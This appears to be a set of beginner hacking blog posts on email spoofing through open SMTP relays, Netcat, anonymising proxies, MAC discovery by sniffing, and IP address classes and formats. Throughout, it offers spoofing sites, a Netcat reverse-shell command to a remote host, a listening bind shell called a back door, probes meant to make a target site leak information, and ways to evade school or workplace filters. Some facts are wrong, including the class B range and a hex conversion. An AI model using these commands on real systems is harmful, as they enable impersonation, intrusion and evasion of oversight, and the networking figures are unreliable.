E-mail Forging- Sending spoofed mails

Email spoofing is the art of sending spoofed mails to the target in order to create chaos on the other end.Many criminals make use of this technology to send spoofed mails.This allows the attacker to send the E-mail from the victim's mail account without knowing his or her passwords.

Even these days we can find many vulnerable servers connected to the internet which allows unauthenticated access to its smtp ports.This allows the attacker to send spoofed mails.

The general methodology for sending spoofed mails, using telnet is described below. We can use the same method to send spoofed mails after knowing the vulnerable server.

start > run >cmd telnet 25
help
helo < domain name>
mail from : < sender's mail address>
rcpt to : < victim's mail address>

data
< message>


Countermeasures:
Always use a secure E-mail system like "Pretty Good Privacy"( PGP) for sending mails.
Digitally sign the E-mail's.
DO NOT do transactions blindly believing the E-mail service.
The most important aspect is the awareness of the user that nothing  can be done effectively against E-mail spoofing

Some Eg sites which will allow you to do Email Spoofing:

funmaza- funmailer
link 2

TIPS:
The links I provide is purely for educational purposes.

Even though you send spoofed emails it is easy to track the IP of the person sending the mails. Be Aware of that.

Create Disposable Email ID :To create a disposable email address to protect your privacy online. If you need to give someone your email address, or need to sign up to a website which requires an email address, but you don't wish to reveal your identity then use this free service for receiving emails. Simply signup instantly, give them the disposable email address and you'll be able to read every email they send in complete privacy. ( use it at your own risk) click here to get one.

NetCat- Swiss Army Knife Of Network Utilities

NetCat is the most popular utility used in networking.It can be used to read and write network connections.Thus it is used by bothe admin and criminals. NetCat is a command line utility.
How to use Netcat..?
Browse to the folder in the command prompt (using cd command)  to where you have placed your netcat exe file
After this, you can just type in nc at cmd prompt to use it,

For an example, if you wanted to access a trojan you installed, you would use the command

nc -v

Basic Netcat commands

-e prog inbound program to exec (dangerous!!)
-g gateway source-routing hop point(s), up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose (use twice to be more verbose)
-w secs timeout for connects and final net reads
-z zero-I/O mode (used for scanning)
port numbers can be individual or ranges: m-n (inclusive)

Connect to a port on
a remote host

nc remote_host

Connect to multiple
ports on a remote host

nc remote_host ...
For example:
nc www.mysite.com 21 25 80

Listen on a port for
incoming connections
(Also know as A Back Door)

nc -v -l -p

Connect to remote host
and serve a bash shell

nc remote_ip -e /bin/bash
Note that Netcat does not support the -e flag by default. To
make Netcat support the -e flag, it must be re-compiled with
the DGAPING_SECURITY_HOLE option


Listen on a port and
serve a bash shell
upon connect

nc -v -l -p -e /bin/bash
Note that Netcat does not support the -e flag by default. To
make Netcat support the -e flag, it must be re-compiled with
the DGAPING_SECURITY_HOLE option


 
Pipe command output
to a netcat request


| nc remote_host
For example:
echo "GET / HTTP/1.0
(enter)
(enter)
"| nc www.mysite.com 80


Spoofed HTTP Probes
nc www.mysite.com
user agent : swar Browser
Referrer : abc.com
enter
enter
this will generate an error message which will display sensitive info about the target website

What are the applications of NetCat..?

Listening to a port
connecting to a port
File transfer
Chatting
Executing applications
sending spoofed HTTP Probes
Proxy servers
Port scanning

TIPS :
There are better softwares for port scanning.But for a thorough start we can use Netcat first.

To download :
Netcat (windows)
Netcat (unix) 

Using Proxies -Start Anonymous Browsing

Whenever you visit a website the site will log your IP and even can asses which operating system is running on your  system.This can be dangerous when a Cracker( the Black Hat) has attacked that site and injected some exploits in it.Revealing your personal details to strangers can be hazardous especially to a Black hat...

So how can we cease ourselves from logged by the websites and hide our actual identity on WWW...?

One simple solution is using PROXIES .. Ok now, lets discuss about the proxies...

Proxies can be used to mask your identity while surfing in the WWW. Surfing from behind a proxy will hide your IP and will send  the decoy IP to the website you visits. so the site admin will have no idea about the visitor and no sensitive information is passed to the sites.Thus you can hide your identity.

Many sites allow us to use their proxy service. I will some good proxies which you can try on your own

Samair

Anonymizer

Sockschain is a program that allows to work with any Internet service through a chain of SOCKS or HTTP proxies to hide the real IP-address. SocksChain can function as a usual SOCKS-server that transmits queries through a chain of proxies. SocksChain can be used with client programs that do not support the SOCKS protocol, but work with one TCP-connection, such as TELNET, HTTP, IRC... (FTP uses 2 connections). And your IP-address will not be seen in the server's logs or mail headers

For setting up sockschain refer this

You can also try other similar softwares like:

Wingate (windows)
Winproxy( windows)
Squid (Linux)
multiproxy (firefox addon)

TIPS :

These proxy sites can be used to unblock many sites that has been blocked in your school, college or workplace

These proxies will aid a hacker to break in to a system by hiding his identity.

A Chain of Proxies is a "created" group of proxies that change at intervals or at will. The proxies are used by some of the biggest hackers becuase have 1 - 10 proxies is more secure than have 1.

To find out MAC address of any system remotely

Install Windump on your computer. Windump is a data sniffer.We will discuss more on data sniffers on other posts.

Start recording all the data packets sent and received by the computer.

Ping to remote computer or connect to the website or telnet to it.

Carefully analyze the captured datapackets and it shall contain MAC address of the remote system.

TIPS:

To avoid confusion try not to connect to other hosts or websites at the time of sniffing.
 There are other good data sniffing tools worth trying

Windump
Wiershark
Ethreal

etc are a few to name

MAC Address or Media Access Control Address

MAC address is an unique identifier assigned to every network interface card or network adapters in any network.It is assigned by the manufacture.This is a 12 digit Hexa decimal number.The MAC address is actually the physical address of the network adapter.The unique nature of this ID makes it very helpful in computer forensics.We will discuss about this in detail in other posts.

So now we know what is a MAC address... But how can we find out the MAC address of our network adapter...?

start > run > cmd > type ipconfig/all

This will reveal the MAC address of your network adapter.

When ever a host connects to a network it is assigned with an IP.If we know the IP of the host in the network we can find its MAC address by analyzing the ARP table.We will discuss about the ARP table in another post.

To view the ARP table, type arp -a in the command prompt


TIPS :
For MAC address spoofing,Data traffic spoofing,Sniffing etc. MAC address of the default gateway is very useful.

IP addresses

I know that most of you are well aware about the IP address.. but to be a complete blog on the subject I guess I need to mention this also...

IP address in the digital world is similar to our mobile number in the real world. So being a hacker, knowing the IP address is an important thing.Every computer connected to a network is assigned an IP address.

Now, what is expansion of IP..?

IP means  Internet Protocol.

If you want to create any connection to the target computer knowledge of his IP is necessary.Even if you are in a local network your computer is assigned an IP.If  you are connected to internet ,your ISP is responsible for assigning you the IP.

The IP address is mainly classified in to 2 :

External IP

Internal IP

Extrenal IP: This is the IP address assigned to your computer by the ISP.To find the IP address you can visit  www.whatismyipaddress.com. This site also allow us to do certain things like IP lookup ,Email Tracing and many other things. You can also look in www.whatismyip.com .

Internal IP : This is the IP assigned to host by the internal network.To find your internal IP

Go to start > Run > cmd > Type ipconfig > press enter

For a DSL modem we usually use at home the computer will have an internal IP address.

The IP is divided in to mainly 5 classes A,B,C,D and E

so what are these classes...? How is the classification done...? ok... lets see..

These classification is done on the basis of the ranges of IP

Class name        Range

 A                     0.0.0.0      to 126.255.255.255 ( first 8 bits is network ID rest is the Host ID)

 B                     127.0.0.0  to 191.255.255.255 ( first 16 bits is network ID rest is the Host ID)

 C                     192.0.0.0  to 223.255.255.255 ( first 24bits is network ID rest is the Host ID)

 D                     224.0.0.0  to 239.255.255.255 ( Represents a 32 bit multicast group ID)

 E                     240.0.0.0  to 255.255.255.255 ( Not in use)

Using the class we can find out about the network.We can also study the structure of the network.Guessing the Maximum number of systems a network may contain can be found out analyzing the class of the IP of a computer in that network.Knowledge about the IP range is really helpful in attacking a network.

Can IP addresses be represented in different formats...?

The answer is yes...

So what are the different formats and how the conversion takesplace...?

  The different formats are:

1)Decimal

2)Hexadecimal

3)DWord

4)Binary

5)Octal

Conversion:

Dec to Hex

 Convert the decimal parts to corresponding hexadecimal equivalents and write them jointly

Eg: 65.55.78.221

65  =>41

55  =>37

78  =>4E

22  =>DD

 After conversion :

65.55.78.221 => 41374EDD

for  Dec to Dword:

 Step1 :Do Dec to Hex conversion

 Step2 : Find the decimal equivalent of the hex value

for Dec to Bin :

 Find the Dword as mentioned in the above steps and find the binary equivalent.

for Dec to Octal :

Take the IP address parts one by one and find their corresponding octal equivalents.Express each number in 4 digit per number format ( you can append zeroes to the left of the number to get 4 digit format)

TIPS:

In many networks like what you use in your office, school or college the firewall may block the IP inorder to prevent you from entering certain sites, say orkut or Myspace.But you can enter the hexadecimal format,Dword value,Binary format or the Octal format of the same IP to access the blocked sites.Most of the popular browsers support these formats but some may not identify your request.